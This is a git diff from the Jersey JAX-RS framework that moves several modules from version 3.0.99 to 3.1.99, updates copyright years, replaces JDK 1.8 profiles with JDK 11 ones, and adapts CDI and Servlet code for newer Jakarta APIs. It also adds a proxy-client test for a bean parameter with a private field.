diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
index 1b49f50..81fd9b4 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -54,6 +54,11 @@
     }
 
     @Override
+    public String echoPrivateField(@BeanParam MyBeanParamWithPrivateField bean) {
+        return bean.getPrivateFieldParam();
+    }
+
+    @Override
     public String echo(MyBeanParam bean) {
         return ("HEADER=" + bean.getHeaderParam() + ",PATH=" + bean.getPathParam() + ",FORM="
                 + bean.getFormParam1() + "," + bean.getFormParam2() + ",QUERY=" + bean.getQueryParam()
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
index 5e73615..f4b7f5c 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -61,6 +61,12 @@
 
     @POST
     @Consumes("application/x-www-form-urlencoded")
+    @Path("getPrivateField")
+    @Produces("text/plain")
+    public String echoPrivateField(@BeanParam MyBeanParamWithPrivateField bean);
+
+    @POST
+    @Consumes("application/x-www-form-urlencoded")
     @Path("all/{pathParam}")
     @Produces("text/plain")
     public String echo(@BeanParam MyBeanParam bean);
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
index d9b361a..6819e0c 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -138,4 +138,14 @@
 
         assertEquals("query", response);
     }
+
+    @Test
+    public void testBeanParamPrivateFieldQuery() {
+        MyBeanParamWithPrivateField myGetBeanParam = new MyBeanParamWithPrivateField();
+        myGetBeanParam.setPrivateFieldParam("query");
+
+        String response = resourceWithBeanParam.echoPrivateField(myGetBeanParam);
+
+        assertEquals("query", response);
+    }
 }
\ No newline at end of file
diff --git a/ext/rx/pom.xml b/ext/rx/pom.xml
index 2e86422..21c23a0 100644
--- a/ext/rx/pom.xml
+++ b/ext/rx/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext.rx</groupId>
diff --git a/ext/rx/rx-client-guava/pom.xml b/ext/rx/rx-client-guava/pom.xml
index 5a147bc..12a6b90 100644
--- a/ext/rx/rx-client-guava/pom.xml
+++ b/ext/rx/rx-client-guava/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-guava</artifactId>
diff --git a/ext/rx/rx-client-rxjava/pom.xml b/ext/rx/rx-client-rxjava/pom.xml
index 07d7fb1..33491a8 100644
--- a/ext/rx/rx-client-rxjava/pom.xml
+++ b/ext/rx/rx-client-rxjava/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-rxjava</artifactId>
diff --git a/ext/rx/rx-client-rxjava2/pom.xml b/ext/rx/rx-client-rxjava2/pom.xml
index 2a98300..c60be49 100644
--- a/ext/rx/rx-client-rxjava2/pom.xml
+++ b/ext/rx/rx-client-rxjava2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-rxjava2</artifactId>
diff --git a/ext/spring6/pom.xml b/ext/spring6/pom.xml
index 1e5b000..4cc853e 100644
--- a/ext/spring6/pom.xml
+++ b/ext/spring6/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-spring6</artifactId>
@@ -186,7 +186,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
 
diff --git a/ext/wadl-doclet/pom.xml b/ext/wadl-doclet/pom.xml
index 0e8b3cb..8823e8c 100644
--- a/ext/wadl-doclet/pom.xml
+++ b/ext/wadl-doclet/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-wadl-doclet</artifactId>
@@ -35,8 +35,8 @@
     
     <properties>
         <java.sourceDirectory>${project.basedir}/src/main/java</java.sourceDirectory>
-        <java8_11.build.outputDirectory>${project.basedir}/target</java8_11.build.outputDirectory>
-        <java8_11.sourceDirectory>${project.basedir}/src/main/java8_11</java8_11.sourceDirectory>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java8_11</java11.sourceDirectory>
         <java12.build.outputDirectory>${project.basedir}/target-java12</java12.build.outputDirectory>
         <java12.sourceDirectory>${project.basedir}/src/main/java12</java12.sourceDirectory>
     </properties>
@@ -44,27 +44,12 @@
 
     <profiles>
         <profile>
-            <id>jdk1.8</id>
+            <id>jdk11</id>
             <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>com.sun</groupId>
-                    <artifactId>tools</artifactId>
-                    <version>1.8.0</version>
-                    <scope>system</scope>
-                    <systemPath>${java.home}/../lib/tools.jar</systemPath>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
-            <id>jdk1.8_11</id>
-            <activation>
-                <jdk>[1.8,12)</jdk>
+                <jdk>[11,12)</jdk>
             </activation>
             <build>
-            	<directory>${java8_11.build.outputDirectory}</directory>
+            	<directory>${java11.build.outputDirectory}</directory>
                 <plugins>
                     <plugin>
                         <groupId>org.codehaus.mojo</groupId>
@@ -78,7 +63,7 @@
                                 <configuration>
                                     <sources>
                                         <source>${java.sourceDirectory}</source>
-                                        <source>${java8_11.sourceDirectory}</source>
+                                        <source>${java11.sourceDirectory}</source>
                                     </sources>
                                 </configuration>
                             </execution>
@@ -124,7 +109,7 @@
                     <!-- ${java12.build.outputDirectory} does not work here -->
                     <exists>target-java12/classes/org/glassfish/jersey/wadl/doclet/ResourceDoclet.class</exists>
                 </file>
-                <jdk>[1.8,12)</jdk>
+                <jdk>[11,12)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -151,7 +136,7 @@
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8_11.build.outputDirectory}/classes/META-INF/versions/12</outputDirectory>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/12</outputDirectory>
                                     <resources>
                                         <resource>
                                             <directory>${java12.build.outputDirectory}/classes</directory>
@@ -170,7 +155,7 @@
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                    	<property name="sources-jar" value="${java8_11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                    	<property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                     	<echo>sources-jar: ${sources-jar}</echo>
                                     	<zip destfile="${sources-jar}" update="true">
                                     		<zipfileset dir="${java12.sourceDirectory}" prefix="META-INF/versions/12"/>
diff --git a/incubator/cdi-inject-weld/pom.xml b/incubator/cdi-inject-weld/pom.xml
index 2d73880..da0e5be 100644
--- a/incubator/cdi-inject-weld/pom.xml
+++ b/incubator/cdi-inject-weld/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi-inject-weld</artifactId>
@@ -59,7 +59,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
@@ -127,8 +126,11 @@
                             org.glassfish.jersey.inject.weld.managed.*;version=${project.version}
                         </Export-Package>
                         <Import-Package>
+                            jakarta.servlet.*;version="[5.0,7.0)",
                             sun.misc.*;resolution:=optional,
+                            ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
+                            jakarta.decorator.*;version="[3.0,5)",
                             ${jakarta.annotation.osgi.version},
                             *
                         </Import-Package>
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
index 3e3da09..a1c5032 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
@@ -151,7 +151,8 @@
 
         Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass();
         AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass);
-        InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType);
+        final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType);
+        final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null);
 
         SupplierClassBean<T> supplierBean = new SupplierClassBean<>(runtimeType, binding);
         InjectionTarget<Supplier<T>> jit = getJerseyInjectionTarget(supplierClass, injectionTarget, supplierBean, resolvers);
@@ -218,7 +219,8 @@
 
         final Class<Supplier<T>> bindingClass = (Class<Supplier<T>>) binding.getSupplierClass();
         final AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(bindingClass);
-        final InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType);
+        final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType);
+        final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null);
 
         final CachedConstructorAnalyzer<Supplier<T>> analyzer =
                 new CachedConstructorAnalyzer<>(bindingClass, InjectionUtils.getInjectAnnotations(resolvers));
@@ -239,7 +241,8 @@
 
         final Class<T> bindingClass = binding.getImplementationType();
         final AnnotatedType<T> annotatedType = beanManager.createAnnotatedType(bindingClass);
-        final InjectionTarget<T> injectionTarget = beanManager.createInjectionTarget(annotatedType);
+        final InjectionTargetFactory<T> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType);
+        final InjectionTarget<T> injectionTarget = injectionTargetFactory.createInjectionTarget(null);
 
         final CachedConstructorAnalyzer<T> analyzer =
                 new CachedConstructorAnalyzer<>(bindingClass, InjectionUtils.getInjectAnnotations(resolvers));
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
index 3918e7d..66594f9 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
@@ -142,7 +142,7 @@
         return false;
     }
 
-    @Override
+    // @Override - Removed in CDI 4
     public boolean isNullable() {
         return false;
     }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
index c995f48..826c52f 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
@@ -1,4 +1,5 @@
 /*
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
  * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -46,7 +47,6 @@
 import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.model.internal.CommonConfig;
 import org.glassfish.jersey.model.internal.ComponentBag;
@@ -231,31 +231,11 @@
                 }
 
                 @Override
-                public Servlet getServlet(String name) throws ServletException {
-                    return null;
-                }
-
-                @Override
-                public Enumeration<Servlet> getServlets() {
-                    return null;
-                }
-
-                @Override
-                public Enumeration<String> getServletNames() {
-                    return null;
-                }
-
-                @Override
                 public void log(String msg) {
 
                 }
 
                 @Override
-                public void log(Exception exception, String msg) {
-
-                }
-
-                @Override
                 public void log(String message, Throwable throwable) {
 
                 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java
index eff570f..7dd99c8 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java
@@ -54,7 +54,7 @@
         this.injectionTarget = injectionTargetFactory.createInjectionTarget(null);
     }
 
-    @Override
+    // @Override - Removed in CDI 4
     public boolean isNullable() {
         return false;
     }
diff --git a/incubator/declarative-linking/pom.xml b/incubator/declarative-linking/pom.xml
index cdb5680..2130a51 100644
--- a/incubator/declarative-linking/pom.xml
+++ b/incubator/declarative-linking/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext</groupId>
@@ -58,9 +58,9 @@
             <scope>provided</scope>
         </dependency>
         <dependency>
-            <groupId>org.glassfish</groupId>
-            <artifactId>jakarta.el</artifactId>
-            <scope>provided</scope>
+            <groupId>org.glassfish.expressly</groupId>
+            <artifactId>expressly</artifactId>
+            <scope>test</scope>
         </dependency>
         <dependency>
             <groupId>org.junit.jupiter</groupId>
@@ -74,12 +74,12 @@
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
-<!--        <dependency>-->
-<!--            <groupId>org.glassfish.jersey.media</groupId>-->
-<!--            <artifactId>jersey-media-json-jackson</artifactId>-->
-<!--            <version>${jersey.version}</version>-->
-<!--            <scope>test</scope>-->
-<!--        </dependency>-->
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
         <dependency>
             <groupId>com.fasterxml.jackson.core</groupId>
             <artifactId>jackson-databind</artifactId>
@@ -175,22 +175,6 @@
                 </executions>
             </plugin>
             <plugin>
-                <!-- TODO remove after jakartification -->
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-surefire-plugin</artifactId>
-                <executions>
-                    <execution>
-                        <id>default-test</id> <!-- jakartification-excluded-tests -->
-                        <configuration>
-                            <excludes>
-                                <exclude>org/glassfish/jersey/linking/integration/LinkingTest.java</exclude>
-                                <exclude>org/glassfish/jersey/linking/integration/LinkingManualTest.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </execution>
-                </executions>
-            </plugin>
-            <plugin>
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
                 <inherited>true</inherited>
diff --git a/incubator/gae-integration/pom.xml b/incubator/gae-integration/pom.xml
index f0a0916..366a6bd 100644
--- a/incubator/gae-integration/pom.xml
+++ b/incubator/gae-integration/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-gae-integration</artifactId>
diff --git a/incubator/html-json/pom.xml b/incubator/html-json/pom.xml
index 5eed87b..e6e5d1e 100644
--- a/incubator/html-json/pom.xml
+++ b/incubator/html-json/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/injectless-client/pom.xml b/incubator/injectless-client/pom.xml
index daf7c24..026316e 100644
--- a/incubator/injectless-client/pom.xml
+++ b/incubator/injectless-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-injectless-client</artifactId>
diff --git a/incubator/kryo/pom.xml b/incubator/kryo/pom.xml
index 7ddc227..f8a29b1 100644
--- a/incubator/kryo/pom.xml
+++ b/incubator/kryo/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/open-tracing/pom.xml b/incubator/open-tracing/pom.xml
index 5faa7b0..eec6e73 100644
--- a/incubator/open-tracing/pom.xml
+++ b/incubator/open-tracing/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.incubator</groupId>
diff --git a/incubator/pom.xml b/incubator/pom.xml
index afbfda4..5d82dd9 100644
--- a/incubator/pom.xml
+++ b/incubator/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.incubator</groupId>
@@ -57,7 +57,7 @@
         <profile>
             <id>HTML-JSON-FOR-PRE-JDK24</id>
             <activation>
-                <jdk>[1.8, 24)</jdk>
+                <jdk>[11, 24)</jdk>
             </activation>
             <modules>
                 <module>html-json</module>
diff --git a/inject/cdi2-se/pom.xml b/inject/cdi2-se/pom.xml
index d63c8ea..09afb2e 100644
--- a/inject/cdi2-se/pom.xml
+++ b/inject/cdi2-se/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.inject</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi2-se</artifactId>
@@ -113,6 +113,7 @@
                         <Import-Package>
                             sun.misc.*;resolution:=optional,
                             ${cdi.osgi.version},
+                            jakarta.decorator.*;version="[3.0,5)",
                             ${jakarta.annotation.osgi.version},
                             *
                         </Import-Package>
@@ -135,15 +136,4 @@
             </plugin>
         </plugins>
     </build>
-    <profiles>
-        <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <properties>
-                <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version>
-            </properties>
-        </profile>
-    </profiles>
-</project>
+</project>
\ No newline at end of file
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java
index 4bf816f..86e97ab 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java
@@ -54,7 +54,7 @@
         this.injectionTarget = injectionTargetFactory.createInjectionTarget(null);
     }
 
-    @Override
+    // @Override - Removed in CDI 4
     public boolean isNullable() {
         return false;
     }
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
index aff3f91..053dbe8 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
@@ -140,9 +140,10 @@
     public static <T> void registerSupplier(SupplierClassBinding<T> binding, AfterBeanDiscovery abd,
             Collection<InjectionResolver> resolvers, BeanManager beanManager) {
 
-        Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass();
-        AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass);
-        InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType);
+        final Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass();
+        final AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass);
+        final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType);
+        final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null);
 
         SupplierClassBean<T> supplierBean = new SupplierClassBean<>(binding);
         InjectionTarget<Supplier<T>> jit = getJerseyInjectionTarget(supplierClass, injectionTarget, supplierBean, resolvers);
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
index 24fc62f..8f3fc55 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
@@ -133,7 +133,7 @@
         return false;
     }
 
-    @Override
+    // @Override - Removed in CDI 4
     public boolean isNullable() {
         return false;
     }
